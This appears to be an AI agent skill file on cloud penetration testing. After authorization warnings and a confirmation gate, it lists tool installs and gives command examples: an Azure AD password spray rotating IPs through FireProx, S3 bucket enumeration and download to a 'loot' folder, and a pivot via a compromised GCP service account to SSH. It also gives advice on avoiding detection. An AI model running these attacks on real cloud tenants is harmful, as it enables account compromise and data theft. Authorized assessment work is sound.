> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cloud Penetration Testing

Detailed Guide

Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Prerequisites

Required Tools

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
cat "$tmpdir/google-cloud-sdk-install.sh"  # review the full installer before executing
bash "$tmpdir/google-cloud-sdk-install.sh"
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

• Cloud architecture fundamentals
• Identity and Access Management (IAM)
• API authentication mechanisms
• DevOps and automation concepts

Required Access

• Written authorization for testing
• Test credentials or access tokens
• Defined scope and rules of engagement

Constraints and Limitations

Legal Requirements

• Only test with explicit written authorization
• Respect scope boundaries between cloud accounts
• Do not access production customer data
• Document all testing activities

Technical Limitations

• MFA may prevent credential-based attacks
• Conditional Access policies may restrict access
• CloudTrail/Activity Logs record all API calls
• Some resources require specific regional access

Detection Considerations

• Cloud providers log all API activity
• Unusual access patterns trigger alerts
• Use slow, deliberate enumeration
• Consider GuardDuty, Security Center, Cloud Armor

Examples

Example 1: Azure Password Spray

Scenario: Test Azure AD password policy

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Example 2: AWS S3 Bucket Enumeration

Scenario: Find and access misconfigured S3 buckets

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

Example 3: GCP Service Account Compromise

Scenario: Pivot using compromised service account

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
